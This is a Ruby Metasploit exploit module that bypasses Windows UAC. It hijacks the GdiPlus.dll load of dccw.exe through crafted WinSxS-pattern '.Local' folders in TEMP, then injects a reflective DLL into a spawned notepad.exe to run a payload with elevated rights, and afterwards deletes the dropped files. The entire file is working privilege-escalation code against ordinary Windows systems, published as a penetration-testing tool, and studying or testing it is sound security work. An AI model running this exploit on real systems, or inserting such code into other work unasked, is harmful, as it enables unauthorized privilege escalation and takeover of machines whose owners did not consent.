##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Exploit::FileDropper
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::ReflectiveDLLInjection
  include Post::Windows::Runas

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS',
        'Description' => %q{
          This module will bypass Windows UAC by utilizing the trusted publisher
          certificate through process injection. It will spawn a second shell that
          has the UAC flag turned off by abusing the way "WinSxS" works in Windows
          systems. This module uses the Reflective DLL Injection technique to drop
          only the DLL payload binary instead of three seperate binaries in the
          standard technique. However, it requires the correct architecture to be
          selected, (use x64 for SYSWOW64 systems also).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ernesto Fernandez "L3cr0f" <ernesto.fernpro[at]gmail.com>'
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'References' => [
          ['URL', 'https://github.com/L3cr0f/DccwBypassUAC']
        ],
        'DisclosureDate' => '2017-04-06',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_dir
              stdapi_fs_delete_file
              stdapi_fs_stat
              stdapi_railgun_api
              stdapi_sys_process_attach
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_write
              stdapi_sys_process_thread_create
            ]
          }
        }
      )
    )
  end

  def exploit
    # Validate that we can actually do things before we bother
    # doing any more work
    validate_environment!
    check_permissions!

    # Get all required environment variables in one shot instead. This
    # is a better approach because we don't constantly make calls through
    # the session to get the variables.
    env_vars = get_envs('TEMP', 'WINDIR')

    # Get UAC level so as to verify if the module will be successful
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
        UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
        UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    dll_path = bypass_dll_path
    payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"

    # Establish the folder pattern so as to get those folders that match it
    sysarch = sysinfo['Architecture']
    if sysarch == ARCH_X86
      targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'
    else
      targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'
    end

    directoryNames = get_directories(payload_filepath, targetedDirectories)
    create_directories(payload_filepath, directoryNames)
    upload_payload_dll(payload_filepath, directoryNames)

    pid = spawn_inject_proc(env_vars['WINDIR'])

    file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
    run_injection(pid, dll_path, file_paths)
  end

  # Path to the bypassuac binary and architecture payload checking
  def bypass_dll_path
    path = ::File.join(Msf::Config.data_directory, 'post')

    sysarch = sysinfo['Architecture']
    if sysarch == ARCH_X86
      if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
        fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
      else
        ::File.join(path, 'bypassuac-x86.dll')
      end
    elsif (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
      ::File.join(path, 'bypassuac-x64.dll')
    else
      fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
    end
  end

  # Check if the compromised user matches some requirements
  def check_permissions!
    # Check if you are an admin
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?

    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    elsif admin_group
      print_good('Part of Administrators group! Continuing...')
    else
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end

  # Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation
  def run_injection(pid, dll_path, file_paths)
    vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
    begin
      path_struct = create_struct(file_paths)

      vprint_status("Opening process #{pid}")
      host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
      exploit_mem, offset = inject_dll_into_process(host_process, dll_path)

      vprint_status("Injecting struct into #{pid}")
      struct_addr = host_process.memory.allocate(path_struct.length)
      host_process.memory.write(struct_addr, path_struct)

      vprint_status('Executing payload')
      thread = host_process.thread.create(exploit_mem + offset, struct_addr)
      print_good("Successfully injected payload in to process: #{pid}")
      client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Failed to Inject Payload to #{pid}!")
      vprint_error(e.to_s)
    end
  end

  # Create a process in the native architecture
  def spawn_inject_proc(win_dir)
    print_status('Spawning process with Windows Publisher Certificate, to inject into...')
    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
      cmd = "#{win_dir}\\sysnative\\notepad.exe"
    else
      cmd = "#{win_dir}\\System32\\notepad.exe"
    end
    pid = cmd_exec_get_pid(cmd)

    unless pid
      fail_with(Failure::Unknown, 'Spawning Process failed...')
    end

    pid
  end

  # Upload only one DLL, the rest will be copied into the specific folders
  def upload_payload_dll(_payload_filepath, directoryNames)
    dllPath = "#{directoryNames[0]}\\GdiPlus.dll"
    payload = generate_payload_dccw_gdiplus_dll({ dll_exitprocess: true })
    print_status('Uploading the Payload DLL to the filesystem...')
    begin
      vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")
      write_file(dllPath, payload)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}")
    end

    if directoryNames.size > 1
      copy_payload_dll(directoryNames, dllPath)
    end
  end

  # Copy our DLL to all created folders, the first folder already have a copy of the DLL
  def copy_payload_dll(directoryNames, dllPath)
    1.step(directoryNames.size - 1, 1) do |i|
      if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false
        print_error('Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...')
      end
    end
  end

  # Check if the environment is vulnerable to the exploit
  def validate_environment!
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?

    version = get_version_info
    if (!version.windows_server? && version.build_number >= Msf::WindowsVersion::Win8) ||
       (version.windows_server? && version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2019))
      print_good("#{version.product_name} may be vulnerable.")
    else
      fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")
    end

    if is_uac_enabled?
      print_status('UAC is Enabled, checking level...')
    else
      unless is_in_admin_group?
        fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
      end
    end
  end

  # Creating the necessary directories to perform the DLL hijacking
  # Since we don't know which path "dccw.exe" will choose, we create
  # all the directories that match with the initial pattern
  def create_directories(payload_filepath, directoryNames)
    env_vars = get_envs('TEMP')

    print_status('Creating temporary folders...')
    if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0
      fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")
    end

    directoryNames.each do |dirName|
      if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0
        fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")
      end
    end
  end

  # Get all the directories that match with the initial pattern
  def get_directories(payload_filepath, targetedDirectories)
    directoryNames = []
    findFileDataSize = 592
    maxPath = client.railgun.const('MAX_PATH')
    fileNamePadding = 44

    hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)
    if hFile['return'] == client.railgun.const('INVALID_HANDLE_VALUE')
      fail_with(Failure::Unknown, 'Cannot get the targeted directories!')
    end

    findFileData = hFile['lpFindFileData']
    moreFiles = true
    until moreFiles == false
      fileAttributes = findFileData[0, 4].unpack('V').first
      andOperation = fileAttributes & client.railgun.const('FILE_ATTRIBUTE_DIRECTORY')
      if andOperation
        # Removes the remainder part composed of 'A' of the path and the last null character
        normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split("\x00", 2).first
        path = "#{payload_filepath}\\#{normalizedData}"
        directoryNames.push(path)
      end

      findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)
      moreFiles = findNextFile['return']
      findFileData = findNextFile['lpFindFileData']
    end
    client.railgun.kernel32.FindClose(hFile['return'])

    if findNextFile['GetLastError'] != client.railgun.const('ERROR_NO_MORE_FILES')
      fail_with(Failure::Unknown, 'Cannot get the targeted directories!')
    end

    directoryNames
  end

  # Store the necessary paths into a struct
  def get_file_paths(win_path, payload_filepath)
    paths = {}
    paths[:szElevDll] = 'dccw.exe.Local'
    paths[:szElevDir] = "#{win_path}\\System32"
    paths[:szElevDirSysWow64] = "#{win_path}\\sysnative"
    paths[:szElevExeFull] = "#{paths[:szElevDir]}\\dccw.exe"
    paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
    paths[:szTempDllPath] = payload_filepath

    paths
  end

  # Creates the paths struct which contains all the required paths
  # the dll needs to copy/execute etc.
  def create_struct(paths)
    # Write each path to the structure in the order they
    # are defined in the bypass uac binary.
    struct = ''
    struct << fill_struct_path(paths[:szElevDir])
    struct << fill_struct_path(paths[:szElevDirSysWow64])
    struct << fill_struct_path(paths[:szElevDll])
    struct << fill_struct_path(paths[:szElevDllFull])
    struct << fill_struct_path(paths[:szElevExeFull])
    struct << fill_struct_path(paths[:szTempDllPath])

    struct
  end

  def fill_struct_path(path)
    path = Rex::Text.to_unicode(path)
    path + "\x00" * (520 - path.length)
  end

  # When a new session is obtained, it removes the dropped elements (files and folders)
  def on_new_session(session)
    if session.type == 'meterpreter' && !session.ext.aliases.include?('stdapi')
      session.core.use('stdapi')
    end
    remove_dropped_elements(session)
  end

  # Remove all the created and dropped files and folders
  def remove_dropped_elements(session)
    droppedElements = []

    env_vars = get_envs('TEMP', 'WINDIR')
    payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"

    sysarch = sysinfo['Architecture']
    if sysarch == ARCH_X86
      targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'
    else
      targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'
    end

    directoryNames = get_directories(payload_filepath, targetedDirectories)
    file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)

    # Remove all dropped elements (files and folders)
    remove_dlls(session, directoryNames, file_paths, droppedElements)
    remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
    remove_dot_local_folders(session, file_paths, droppedElements)

    # Check if the removal was successful
    removal_checking(droppedElements)
  end

  # Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
  # and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
  def remove_dlls(session, directoryNames, file_paths, droppedElements)
    directoryNames.each do |dirName|
      directoryName = dirName.split('\\').last

      begin
        droppedElements.push("#{dirName}\\GdiPlus.dll")
        session.fs.file.rm("#{dirName}\\GdiPlus.dll")
      rescue ::Rex::Post::Meterpreter::RequestError => e
        vprint_error("Error => #{e.class} - #{e}")
      end

      begin
        droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
        session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
      rescue ::Rex::Post::Meterpreter::RequestError => e
        vprint_error("Error => #{e.class} - #{e}")
      end
    end
  end

  # Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
  def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
    directoryNames.each do |dirName|
      directoryName = dirName.split('\\').last

      begin
        droppedElements.push(dirName)
        session.fs.dir.rmdir(dirName)
      rescue ::Rex::Post::Meterpreter::RequestError => e
        vprint_error("Error => #{e.class} - #{e}")
      end

      begin
        droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")
        session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")
      rescue ::Rex::Post::Meterpreter::RequestError => e
        vprint_error("Error => #{e.class} - #{e}")
      end
    end
  end

  # Remove "C:\Windows\System32\dccw.exe.Local" folder
  def remove_dot_local_folders(session, file_paths, droppedElements)
    begin
      droppedElements.push(file_paths[:szTempDllPath])
      session.fs.dir.rmdir(file_paths[:szTempDllPath])
    rescue ::Rex::Post::Meterpreter::RequestError => e
      vprint_error("Error => #{e.class} - #{e}")
    end

    begin
      droppedElements.push(file_paths[:szElevDllFull])
      session.fs.dir.rmdir(file_paths[:szElevDllFull])
    rescue ::Rex::Post::Meterpreter::RequestError => e
      vprint_error("Error => #{e.class} - #{e}")
    end
  end

  # Check if have been successfully removed
  def removal_checking(droppedElements)
    successfullyRemoved = true

    droppedElements.each do |element|
      stat = session.fs.file.stat(element)
      if stat
        print_error("Unable to delete #{element}!")
        successfullyRemoved = false
      end
    rescue ::Rex::Post::Meterpreter::RequestError => e
      vprint_error("Error => #{e.class} - #{e}")
    end

    if successfullyRemoved
      print_good('All the dropped elements have been successfully removed')
    else
      print_warning('Could not delete some dropped elements! They will require manual cleanup on the target')
    end
  end
end
